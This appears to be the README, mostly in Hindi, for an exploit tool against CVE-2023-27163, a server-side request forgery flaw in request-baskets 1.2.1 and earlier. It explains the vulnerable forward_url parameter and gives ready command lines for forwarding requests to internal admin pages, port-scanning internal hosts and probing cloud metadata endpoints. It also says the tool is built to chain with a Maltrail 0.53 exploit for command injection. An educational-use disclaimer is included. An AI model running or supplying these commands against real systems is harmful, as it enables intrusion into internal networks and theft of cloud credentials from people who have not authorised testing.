
मैंने यह एक्सप्लॉइट CVE-2023-27163 को लक्षित करने के लिए लिखा है, जो request-baskets के ≤ 1.2.1 संस्करणों में पाई जाने वाली Server-Side Request Forgery (SSRF) भेद्यता है। यह दोष /api/baskets/{name} एंडपॉइंट में मौजूद है, जहाँ forward_url पैरामीटर हमलावर को सर्वर की ओर से मनमाना HTTP अनुरोध जारी कराने की अनुमति देता है।
यह एक्सप्लॉइट एक दुर्भावनापूर्ण "basket" बनाता है जो किसी आंतरिक लक्ष्य की ओर इशारा करते हुए forward_url के साथ कॉन्फ़िगर किया जाता है। उस basket के एंडपॉइंट पर किया गया कोई भी अनुरोध सर्वर द्वारा निर्दिष्ट URL पर अग्रेषित कर दिया जाता है, जिससे सर्वर प्रभावी रूप से SSRF प्रॉक्सी बन जाता है।
requests लाइब्रेरी (pip install requests)usage: exploit.py [-h] -t TARGET [-f FORWARD_URL] [--proxy-response]
[--insecure-tls] [--no-expand-path] [--capacity CAPACITY]
[--scan-host SCAN_HOST] [--ports PORTS] [--scan]
[--discover] [--cloud-metadata] [--timeout TIMEOUT]
[--delay DELAY]
# Basic SSRF forward to an internal service
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80/admin
# Port scan an internal host
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 127.0.0.1 --scan
# Probe cloud metadata endpoints
python3 exploit.py -t http://192.168.1.100:55555 --cloud-metadata
# Proxy mode (returns the forwarded response body)
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80 --proxy-response
# Custom port range scan
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 10.0.0.2 \
--ports 80,443,3000,5000,8000,8080,9000
मैंने यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए बनाया है। स्पष्ट अनुमति के बिना इसे सिस्टम के विरुद्ध उपयोग न करें।
इस SSRF एक्सप्लॉइट का उपयोग उन आंतरिक सेवाओं तक पहुँचने के लिए प्रारंभिक प्रवेश बिंदु के रूप में किया जा सकता है जो सीधे उजागर नहीं होती हैं। मैंने इसे Maltrail-v0.53-Exploit के साथ काम करने के लिए डिज़ाइन किया है — SSRF टनल आपको localhost पर चल रहे Maltrail इंस्टेंस को हिट करने और उसके माध्यम से कमांड इंजेक्शन ट्रिगर करने की अनुमति देता है।# CVE-2023-27163-exploit